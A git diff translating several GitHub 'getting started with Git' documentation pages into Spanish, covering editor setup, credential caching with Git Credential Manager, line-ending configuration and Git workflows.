+{% ifversion fpt or ghec %}Si estás intentando acceder a una organización que utiliza el inicio de sesión único (SSO) de SAML, debes autorizar tu llave de SSH para acceder a la organización antes de que te autentiques. Para obtener más información, consulta las secciones "[Acerca de la autenticación con el inicio de sesión único de SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" y "[Autorizar una llave SSH para utilizarla con el inicio de sesión único de SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}{% endif %}
 
 {% tip %}
 
-**Tip**: You can use an SSH URL to clone a repository to your computer, or as a secure way of deploying your code to production servers. You can also use SSH agent forwarding with your deploy script to avoid managing keys on the server. For more information, see "[Using SSH Agent Forwarding](/developers/overview/using-ssh-agent-forwarding)."
+**Tip**: Puedes utilizar una URL con SSH para clonar un repositorio a tu computador, o como una forma segura de desplegar tu código en servidores productivos. También puedes utilizar el envío a un agente de SSH con tu script de despliegue para evitar administrar llaves en el servidor. Para obtener más información, consulta la sección "[Utilizar el Reenvío de Agente de SSH](/developers/overview/using-ssh-agent-forwarding)".
 
 {% endtip %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
 
-## Cloning with {% data variables.product.prodname_cli %}
+## Clonar con {% data variables.product.prodname_cli %}
 
-You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.product_name %} workflows in your terminal. For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+También puedes instalar {% data variables.product.prodname_cli %} para utilizar flujos de trabajo de {% data variables.product.product_name %} en tu terminal. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)".
 
 {% endif %}
 
 {% ifversion not ghae %}
-## Cloning with Subversion
+## Clonar con Subversion
 
-You can also use a [Subversion](https://subversion.apache.org/) client to access any repository on {% data variables.product.prodname_dotcom %}. Subversion offers a different feature set than Git. For more information, see "[What are the differences between Subversion and Git?](/github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git)"
+También puedes utilizar un cliente de [Subversion](https://subversion.apache.org/) para acceder a cualquier repositorio en {% data variables.product.prodname_dotcom %}. Subversion ofrece características diferentes a Git. Para obtener más información, consulta la sección "[¿Cuáles son las diferencias entre Subversion y Git?](/github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git)"
 
-You can also access repositories on {% data variables.product.prodname_dotcom %} from Subversion clients. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)."
+También puedes acceder a los repositorios de {% data variables.product.prodname_dotcom %} desde clientes de Subversion. Para obtener más información, consulta la sección "[Soporte para clientes de Subversion](/github/importing-your-projects-to-github/support-for-subversion-clients)".
 {% endif %}
diff --git a/translations/es-ES/content/get-started/getting-started-with-git/associating-text-editors-with-git.md b/translations/es-ES/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
index 8abbe4ef24..451d71edba 100644
--- a/translations/es-ES/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
+++ b/translations/es-ES/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
@@ -1,6 +1,6 @@
 ---
-title: Associating text editors with Git
-intro: Use a text editor to open and edit your files with Git.
+title: Asociar editores de texto con Git
+intro: Usar un editor de texto para abrir y editar tus archivos con Git.
 redirect_from:
   - /textmate
   - /articles/using-textmate-as-your-default-editor
@@ -14,43 +14,44 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Associate text editors
+shortTitle: Editores de texto asociados
 ---
+
 {% mac %}
 
-## Using Atom as your editor
+## Usar Atom como editor
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. Instala [Atom](https://atom.io/). Para obtener más información, consulta la sección "[Instalar Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" en la documentación de Atom.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Escribe este comando:
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## Utilizar Visual Studio Code como tu editor
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. Instala [ Visual Studio Code](https://code.visualstudio.com/) (VS Code). Para obtener más información, consulta la sección "[Configurar Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" en la documentación de VS Code.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Escribe este comando:
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## Usar Sublime Text como tu editor
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. Instala [Sublime Text](https://www.sublimetext.com/). Para obtener más información, consulta la sección "[Instalación](https://docs.sublimetext.io/guide/getting-started/installation.html)" en la documentación de Sublime Text.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Escribe este comando:
   ```shell
   $ git config --global core.editor "subl -n -w"
   ```
 
-## Using TextMate as your editor
+## Usar TextMate como editor
 
-1. Install [TextMate](https://macromates.com/).
-2. Install TextMate's `mate` shell utility. For more information, see "[mate and rmate](https://macromates.com/blog/2011/mate-and-rmate/)" in the TextMate documentation.
+1. Instala [TextMate](https://macromates.com/).
+2. Instala la utilidad de shell `mate` de TextMate. Para obtener más información, consulta "[mate y rmate](https://macromates.com/blog/2011/mate-and-rmate/)" en la documentación de TextMate.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-4. Type this command:
+4. Escribe este comando:
   ```shell
   $ git config --global core.editor "mate -w"
   ```
@@ -58,38 +59,38 @@ shortTitle: Associate text editors
 
 {% windows %}
 
-## Using Atom as your editor
+## Usar Atom como editor
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. Instala [Atom](https://atom.io/). Para obtener más información, consulta la sección "[Instalar Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" en la documentación de Atom.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Escribe este comando:
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## Utilizar Visual Studio Code como tu editor
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. Instala [ Visual Studio Code](https://code.visualstudio.com/) (VS Code). Para obtener más información, consulta la sección "[Configurar Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" en la documentación de VS Code.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Escribe este comando:
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## Usar Sublime Text como tu editor
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. Instala [Sublime Text](https://www.sublimetext.com/). Para obtener más información, consulta la sección "[Instalación](https://docs.sublimetext.io/guide/getting-started/installation.html)" en la documentación de Sublime Text.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Escribe este comando:
   ```shell
   $ git config --global core.editor "'C:/Program Files (x86)/sublime text 3/subl.exe' -w"
   ```
 
-## Using Notepad++ as your editor
+## Usar Notepad++ como editor
 
-1. Install Notepad++ from https://notepad-plus-plus.org/. For more information, see "[Getting started](https://npp-user-manual.org/docs/getting-started/)" in the Notepad++ documentation.
+1. Instala Notepad++ desde https://notepad-plus-plus.org/. Para obtener más información, consulta la sección "[Comenzar](https://npp-user-manual.org/docs/getting-started/)" en la documentación de Notepad++.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Escribe este comando:
   ```shell
   $ git config --global core.editor "'C:/Program Files (x86)/Notepad++/notepad++.exe' -multiInst -notabbar -nosession -noPlugin"
   ```
@@ -97,29 +98,29 @@ shortTitle: Associate text editors
 
 {% linux %}
 
-## Using Atom as your editor
+## Usar Atom como editor
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. Instala [Atom](https://atom.io/). Para obtener más información, consulta la sección "[Instalar Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" en la documentación de Atom.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Escribe este comando:
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## Utilizar Visual Studio Code como tu editor
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. Instala [ Visual Studio Code](https://code.visualstudio.com/) (VS Code). Para obtener más información, consulta la sección "[Configurar Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" en la documentación de VS Code.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Escribe este comando:
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## Usar Sublime Text como tu editor
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. Instala [Sublime Text](https://www.sublimetext.com/). Para obtener más información, consulta la sección "[Instalación](https://docs.sublimetext.io/guide/getting-started/installation.html)" en la documentación de Sublime Text.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. Escribe este comando:
   ```shell
   $ git config --global core.editor "subl -n -w"
   ```
diff --git a/translations/es-ES/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md b/translations/es-ES/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
index 5c74e8cf31..589f7b4dbc 100644
--- a/translations/es-ES/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
+++ b/translations/es-ES/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
@@ -1,5 +1,5 @@
 ---
-title: Caching your GitHub credentials in Git
+title: Almacenar tus credenciales de GitHub en el caché dentro de Git
 redirect_from:
   - /firewalls-and-proxies
   - /articles/caching-your-github-password-in-git
@@ -7,77 +7,77 @@ redirect_from:
   - /github/using-git/caching-your-github-credentials-in-git
   - /github/getting-started-with-github/caching-your-github-credentials-in-git
   - /github/getting-started-with-github/getting-started-with-git/caching-your-github-credentials-in-git
-intro: 'If you''re [cloning {% data variables.product.product_name %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager (GCM) to remember your credentials.'
+intro: 'Si estás [clonando repositorios de {% data variables.product.product_name %} utilizando HTTPS](/github/getting-started-with-github/about-remote-repositories), te recomendamos utilizar el {% data variables.product.prodname_cli %} o el Administrador de Credenciales de Git (GCM) para recordar tus credenciales.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Caching credentials
+shortTitle: Guardar credenciales en caché
 ---
 
 {% tip %}
 
-**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you  can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see "[Generating an SSH Key](/articles/generating-an-ssh-key)."
+**Tip:** Si clonas repositorios de {% data variables.product.product_name %} utilizando SSH, entonces puedes autenticarte utilizando una llave SSH en vez de utilizar otras credenciales. Para obtener información acerca de cómo configurar una conexión SSH, consulta la sección "[Generar una llave SSH](/articles/generating-an-ssh-key)".
 
 {% endtip %}
 
 ## {% data variables.product.prodname_cli %}
 
-{% data variables.product.prodname_cli %} will automatically store your Git credentials for you when you choose `HTTPS` as your preferred protocol for Git operations and answer "yes" to the prompt asking if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials.
+El {% data variables.product.prodname_cli %} almacenará tus credenciales de Git automáticamente cuando elijas `HTTPS` como tu protocolo preferido para las operaciones de Git y respondas "yes" cuando te pregunte si quieres autenticarte en Git con tus credenciales de {% data variables.product.product_name %}.
 
-1. [Install](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} on macOS, Windows, or Linux.
-2. In the command line, enter `gh auth login`, then follow the prompts.
-   - When prompted for your preferred protocol for Git operations, select `HTTPS`.
-   - When asked if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials, enter `Y`.
+1. [Instala](https://github.com/cli/cli#installation) el {% data variables.product.prodname_cli %} en macoS, Windows o Linux.
+2. En la línea de comandos, ingresa `gh auth login` y luego sigue los mensajes.
+   - Cuando se te pida tu protocolo preferido para operaciones de Git, selecciona `HTTPS`.
+   - Cuando se te pregunte si quieres autenticarte en Git con tus credenciales de {% data variables.product.product_name %}, ingresa `Y`.
 
-For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+Para obtener más información sobre cómo autenticarte con el {% data variables.product.prodname_cli %}, consulta la sección [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
 
-## Git Credential Manager
+## Administrador de credenciales de Git
 
-[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM, you don't have to manually [create and store a PAT](/github/authenticating-to-github/creating-a-personal-access-token), as GCM manages authentication on your behalf, including 2FA (two-factor authentication).
+El [Administrador de Credenciales de Git](https://github.com/GitCredentialManager/git-credential-manager) (GCM) es otra forma de almacenar tus credenciales de forma segura y conectarlas a GitHub a través de HTTPS. Con el GCM, no necesitas [crear y almacenar un PAT](/github/authenticating-to-github/creating-a-personal-access-token) manualmente, ya que este administra la autenticación en tu nombre, incluyendo la 2FA (autenticación bifactorial).
 
 {% mac %}
 
-1. Install Git using [Homebrew](https://brew.sh/):
+1. Instalar Git utilizando [Homebrew](https://brew.sh/):
   ```shell
   $ brew install git
   ```
 
-2. Install GCM using Homebrew:
+2. Instala el GCM utilizando Homebrew:
   ```shell
   $ brew tap microsoft/git
   $ brew install --cask git-credential-manager-core
   ```
-  For MacOS, you don't need to run `git config` because GCM automatically configures Git for you.
+  Para MacOS, no necesitas ejecutar `git config`, ya que el GCM configura Git automáticamente para ti.
 
 {% data reusables.gcm-core.next-time-you-clone %}
 
-Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+Ya que te hayas autenticado exitosamente, tus credenciales se almacenarán en el llavero de macOS y se utilizarán cada que clones una URL con HTTPS. Git no requerirá que teclees tus credenciales en la línea de comandos nuevamente a menos de que cambies tus credenciales.
 
 {% endmac %}
 
 {% windows %}
 
-1. Install Git for Windows, which includes GCM. For more information, see "[Git for Windows releases](https://github.com/git-for-windows/git/releases/latest)" from its [releases page](https://github.com/git-for-windows/git/releases/latest).
+1. Instala Git para Windows, el cual incluye el GCM. Para obtener más información, consulta la sección "[Git para lanzamientos de Windows](https://github.com/git-for-windows/git/releases/latest)" desde su [página de lanzamientos](https://github.com/git-for-windows/git/releases/latest).
 
-We recommend always installing the latest version. At a minimum, install version 2.29 or higher, which is the first version offering OAuth support for GitHub.
+Te recomendamos instalar siempre la versión más reciente. Por lo mínimo, instala la versión 2.29 o superior, la cual es la primera versión que ofrece compatibilidad con OAuth para GitHub.
 
 {% data reusables.gcm-core.next-time-you-clone %}
 
-Once you've authenticated successfully, your credentials are stored in the Windows credential manager and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+Una vez que te hayas autenticado con éxito, tus credenciales se almacenarán en el administrador de credenciales de Windows y se utilizarán cada que clones una URL de HTTPS. Git no requerirá que teclees tus credenciales en la línea de comandos nuevamente a menos de que cambies tus credenciales.
 
 <br>
 
 {% warning %}
 
-**Warning:** Older versions of Git for Windows came with Git Credential Manager for Windows. This older product is no longer supported and cannot connect to GitHub via OAuth. We recommend you upgrade to [the latest version of Git for Windows](https://github.com/git-for-windows/git/releases/latest).
+**Advertencia:** Las versiones más antiguas de Git para Windows vienen con el Administrador de Credenciales de Git para Windows. Este producto más antiguo ya no es compatible y no puede conectarse con GitHub a través de OAuth. Te recomendamos mejorar a [la última versión de Git para Windows](https://github.com/git-for-windows/git/releases/latest).
 
 {% endwarning %}
 
 {% warning %}
 
-**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. 
+**Advertencia:** Si guardaste credenciales incorrectas o vencidas en caché en el Administrador de Credenciales para Windows, Git no podrá acceder a {% data variables.product.product_name %}. Para restablecer tus credenciales almacenadas en caché y que Git te pida ingresar tus credenciales, accede al Administrador de Credenciales en el Panel de Control de Windows debajo de Cuentas de usuario > Administrador de Credenciales. Busca la entrada de {% data variables.product.product_name %} y bórrala.
 
 {% endwarning %}
 
@@ -85,22 +85,22 @@ Once you've authenticated successfully, your credentials are stored in the Windo
 
 {% linux %}
 
-For Linux, install Git and GCM, then configure Git to use GCM.
+Para Linux, instala Git y GCM y luego configura Git para utilizar el GCM.
 
-1. Install Git from your distro's packaging system. Instructions will vary depending on the flavor of Linux you run.
+1. Instala Git desde el sistema de empaquetado de tu distribución. Las instrucciones variarán dependiendo del tipo de Linux que tengas.
 
-2. Install GCM. See the [instructions in the GCM repo](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions), as they'll vary depending on the flavor of Linux you run.
+2. Instala el GCM. Consulta las [instrucciones en el repositorio del GCM](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions), ya que estas variarán dependiendo del tipo de Linux que ejecutas.
 
-3. Configure Git to use GCM. There are several backing stores that you may choose from, so see the GCM docs to complete your setup. For more information, see "[GCM Linux](https://aka.ms/gcmcore-linuxcredstores)."
+3. Configura Git para utilizar el GCM. Hay varias tiendas de respaldo de entre las que puedes elegir, así que revisa los documentos del GCM para completar tu configuración. Para obtener más información, consulta la sección "[GCM para Linux](https://aka.ms/gcmcore-linuxcredstores)".
 
 {% data reusables.gcm-core.next-time-you-clone %}
 
-Once you've authenticated successfully, your credentials are stored on your system and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+Una vez que te hayas autenticado con éxito, tus credenciales se almacenarán en tu sistema y se utilizarán cada que clones una URL de HTTPS. Git no requerirá que teclees tus credenciales en la línea de comandos nuevamente a menos de que cambies tus credenciales.
 
-For more options for storing your credentials on Linux, see [Credential Storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) in Pro Git.
+Para obtener más opciones para almacenar tus credenciales en Linux, consulta la sección [Almacenamiento de credenciales](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) en Pro Git.
 
 {% endlinux %}
 
 <br>
 
-For more information or to report issues with GCM, see the official GCM docs at "[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager)."
+Para obtener más información o para reportar propuestas con el GCM, consulta los documentos oficiales del GCM en el "[Administración de Credenciales de Git](https://github.com/GitCredentialManager/git-credential-manager)".
diff --git a/translations/es-ES/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md b/translations/es-ES/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
index 676651b64c..420b397180 100644
--- a/translations/es-ES/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
+++ b/translations/es-ES/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring Git to handle line endings
-intro: 'To avoid problems in your diffs, you can configure Git to properly handle line endings.'
+title: Configurar Git para manejar finales de línea
+intro: 'Para evitar problemas en tus diferencias, puedes configurar Git para manejar correctamente los finales de línea.'
 redirect_from:
   - /dealing-with-lineendings
   - /line-endings
@@ -14,22 +14,23 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Handle line endings
+shortTitle: Manejar los extremos de línea
 ---
-## About line endings
-Every time you press <kbd>return</kbd> on your keyboard you insert an invisible character called a line ending. Different operating systems handle line endings differently.
 
-When you're collaborating on projects with Git and {% data variables.product.product_name %}, Git might produce unexpected results if, for example, you're working on a Windows machine, and your collaborator has made a change in macOS.
+## Acerca de los finales de línea
+Cada vez que presionas <kbd>Enter</kbd> en tu teclado, insertas un caracter invisible denominado fin de línea. Esto se maneja de forma diferente en los diferentes sistemas operativos.
 
-You can configure Git to handle line endings automatically so you can collaborate effectively with people who use different operating systems.
+Cuando colaboras en proyectos con Git y {% data variables.product.product_name %}, Git podría producir resultados inesperados si, por ejemplo, estás trabajando en una máquina Windows y tu colaborador hizo cambios en macOS.
 
-## Global settings for line endings
+Puedes configurar Git para que maneje los fines de línea automáticamente y así puedas colaborar eficazmente con las personas que utilizan otros sistemas operativos.
 
-The `git config core.autocrlf` command is used to change how Git handles line endings. It takes a single argument.
+## Parámetros globales para finales de línea
+
+El comando `git config core.autocrlf` se usa para cambiar el modo en que Git maneja los finales de línea. Toma un solo argumento.
 
 {% mac %}
 
-On macOS, you simply pass `input` to the configuration. For example:
+En macOS, simplemente pasas `input` a la configuración. Por ejemplo:
 
 ```shell
 $ git config --global core.autocrlf input
@@ -40,7 +41,7 @@ $ git config --global core.autocrlf input
 
 {% windows %}
 
-On Windows, you simply pass `true` to the configuration. For example:
+En Windows, simplemente escribes `true` en la configuración. Por ejemplo:
 
 ```shell
 $ git config --global core.autocrlf true
@@ -52,7 +53,7 @@ $ git config --global core.autocrlf true
 
 {% linux %}
 
-On Linux, you simply pass `input` to the configuration. For example:
+En Linux, simplemente escribes `input` en la configuración. Por ejemplo:
 
 ```shell
 $ git config --global core.autocrlf input
@@ -61,75 +62,75 @@ $ git config --global core.autocrlf input
 
 {% endlinux %}
 
-## Per-repository settings
+## Parámetros por repositorio
 
-Optionally, you can configure a *.gitattributes* file to manage how Git reads line endings in a specific repository. When you commit this file to a repository, it overrides the `core.autocrlf` setting for all repository contributors. This ensures consistent behavior for all users, regardless of their Git settings and environment.
+Como ocpión, puedes configurar un archivo de tipo *.gitattributes* para administrar cómo Git lee los fines de línea en un repositorio específico. Cuando confirmas este archivo en un repositorio, éste invalida la configuración de `core.autocrlf` para todos los colaboradores del mismo. Esto garantiza un comportamiento consistente para todos los usuarios, sin importar su configuración y ambiente de Git.
 
-The *.gitattributes* file must be created in the root of the repository and committed like any other file.
+El archivo *.gitattributes* debe crearse en la raíz del repositorio y confirmarse como cualquier otro archivo.
 
-A *.gitattributes* file looks like a table with two columns:
+Un archivo *.gitattributes* se asemeja a una tabla con dos columnas:
 
-* On the left is the file name for Git to match.
-* On the right is the line ending configuration that Git should use for those files.
+* A la izquierda está el nombre del archivo que coincide con Git.
+* A la derecha está la configuración de fin de línea que Git debería usar para esos archivos.
 
-### Example
+### Ejemplo
 
-Here's an example *.gitattributes* file. You can use it as a template for your repositories:
+Aquí hay un ejemplo de archivo *.gitattributes*. Puedes usarlo como plantilla para tus repositorios:
 
 ```
-# Set the default behavior, in case people don't have core.autocrlf set.
+# Esteblece el comportamiento predeterminado, en caso de que las personas no tengan configurado core.autocrlf.
 * text=auto
 
-# Explicitly declare text files you want to always be normalized and converted
-# to native line endings on checkout.
+# Declara explícitamente los archivos de texto que siempre quieres que estén normalizados y convertidos
+# a finales de línea nativos en el control.
 *.c text
 *.h text
 
-# Declare files that will always have CRLF line endings on checkout.
+# Declara los archivos que siempre tendrán los finales de línea CRLF en el control.
 *.sln text eol=crlf
 
-# Denote all files that are truly binary and should not be modified.
+# Denota todos los archivos que son absolutamente binarios y no deberían modificarse.
 *.png binary
 *.jpg binary
 ```
 
-You'll notice that files are matched—`*.c`, `*.sln`, `*.png`—, separated by a space, then given a setting—`text`, `text eol=crlf`, `binary`. We'll go over some possible settings below.
+Notarás que los archivos coinciden—`*.c`, `*.sln`, `*.png`—, separados con un espacio, y luego se les dará una configuración —`text`, `text eol=crlf`, `binary`. Revisaremos algunas configuraciones posibles a continuación.
 
-- `text=auto` Git will handle the files in whatever way it thinks is best. This is a good default option.
+- `text=auto` Git manejará los archivos en cualquier manera que crea sea mejor. Esta es una buena opción predeterminada.
 
-- `text eol=crlf` Git will always convert line endings to `CRLF` on checkout. You should use this for files that must keep `CRLF` endings, even on OSX or Linux.
+- `text eol=crlf` Git siempre convertirá los fines de línea en `CRLF` a la salida. Deberías usar esto para los archivos que deben conservar los finales `CRLF`, incluso en OSX o Linux.
 
-- `text eol=lf` Git will always convert line endings to `LF` on checkout. You should use this for files that must keep LF endings, even on Windows.
+- `text eol=lf` Git siempre convertirá los finales de línea en `LF` a la salida. Deberías usar esto para los archivos que deben conservar los finales LF, incluso en Windows.
 
-- `binary` Git will understand that the files specified are not text, and it should not try to change them. The `binary` setting is also an alias for `-text -diff`.
+- `binary` Git entenderá que los archivos especificados no son de texto, y no deberá intentar cambiarlos. El parámetro `binario` también es un alias para `text -diff`.
 
-## Refreshing a repository after changing line endings
+## Actualizar un repositorio después de los finales de línea
 
-When you set the `core.autocrlf` option or commit a *.gitattributes* file, you may find that Git reports changes to files that you have not modified. Git has changed line endings to match your new configuration.
+Cuando configuras la opción `core.autocrlf` o confirmas un archivo de tipo *.gitattributes* podrías encontrar que Git reporta cambios a archivos que no has modificado. Git ha cambiado los fines de línea para que concuerden con tu nueva configuración.
 
-To ensure that all the line endings in your repository match your new configuration, backup your files with Git, delete all files in your repository (except the `.git` directory), then restore the files all at once.
+Para garantizar que todos los fines de línea en tu repositorio concuerdan con tu nueva configuración, respalda tus archivos con Git, borra los archivos en tu repositorio (con excepción de el directorio `.git`), y luego restablece todos los archivos al mismo tiempo.
 
-1. Save your current files in Git, so that none of your work is lost.
+1. Guarda los archivos actuales en Git, de manera que nada de tu trabajo se pierda.
   ```shell
   $ git add . -u
   $ git commit -m "Saving files before refreshing line endings"
   ```
-2. Add all your changed files back and normalize the line endings.
+2. Agrega todos los archivos cambiados nuevamente y normaliza los finales de línea.
   ```shell
   $ git add --renormalize .
   ```
-3. Show the rewritten, normalized files.
+3. Muestra los archivos reescritos, normalizados.
   ```shell
   $ git status
   ```
-4. Commit the changes to your repository.
+4. Confirma los cambios en tu repositorio.
   ```shell
   $ git commit -m "Normalize all the line endings"
   ```
 
-## Further reading
+## Leer más
 
-- [Customizing Git - Git Attributes](https://git-scm.com/book/en/Customizing-Git-Git-Attributes) in the Pro Git book
-- [git-config](https://git-scm.com/docs/git-config) in the man pages for Git
-- [Getting Started - First-Time Git Setup](https://git-scm.com/book/en/Getting-Started-First-Time-Git-Setup) in the Pro Git book
-- [Mind the End of Your Line](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/) by [Tim Clem](https://github.com/tclem)
+- [Personalizar Git - Atributos de Git](https://git-scm.com/book/en/Customizing-Git-Git-Attributes) en el libro de Pro Git
+- [git-config](https://git-scm.com/docs/git-config) en las páginas man para Git
+- [Comenzar -Configuración Inicial](https://git-scm.com/book/en/Getting-Started-First-Time-Git-Setup) en el libro de Pro Git
+- [Mind the End of Your Line](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/) por [Tim Clem](https://github.com/tclem)
diff --git a/translations/es-ES/content/get-started/getting-started-with-git/git-workflows.md b/translations/es-ES/content/get-started/getting-started-with-git/git-workflows.md
index 426fd8dbb8..308d7e7e53 100644
--- a/translations/es-ES/content/get-started/getting-started-with-git/git-workflows.md
+++ b/translations/es-ES/content/get-started/getting-started-with-git/git-workflows.md
@@ -1,6 +1,6 @@
 ---
-title: Git workflows
-intro: '{% data variables.product.prodname_dotcom %} flow is a lightweight, branch-based workflow that supports teams and projects that deploy regularly.'
+title: Flujos de trabajo de Git
+intro: 'El flujo de {% data variables.product.prodname_dotcom %} es un flujo de trabajo ligero basado en ramas que soporta equipos y proyectos que despliegan frecuentemente.'
 redirect_from:
   - /articles/what-is-a-good-git-workflow
   - /articles/git-workflows
@@ -13,4 +13,5 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-You can adopt the {% data variables.product.prodname_dotcom %} flow method to standardize how your team functions and collaborates on {% data variables.product.prodname_dotcom %}. For more information, see "[{% data variables.product.prodname_dotcom %} flow](/github/getting-started-with-github/github-flow)."
+
+Puedes adoptar el método de flujo de {% data variables.product.prodname_dotcom %} para estandarizar como funciona tu equipo y como colabora con {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[flujo de {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/github-flow)".
diff --git a/translations/es-ES/content/get-started/getting-started-with-git/ignoring-files.md b/translations/es-ES/content/get-started/getting-started-with-git/ignoring-files.md
index 72d4b8d668..77e1e361d9 100644
--- a/translations/es-ES/content/get-started/getting-started-with-git/ignoring-files.md
+++ b/translations/es-ES/content/get-started/getting-started-with-git/ignoring-files.md
@@ -1,5 +1,5 @@
 ---
-title: Ignoring files
+title: Ignorar archivos
 redirect_from:
   - /git-ignore
   - /ignore-files
@@ -7,60 +7,60 @@ redirect_from:
   - /github/using-git/ignoring-files
   - /github/getting-started-with-github/ignoring-files
   - /github/getting-started-with-github/getting-started-with-git/ignoring-files
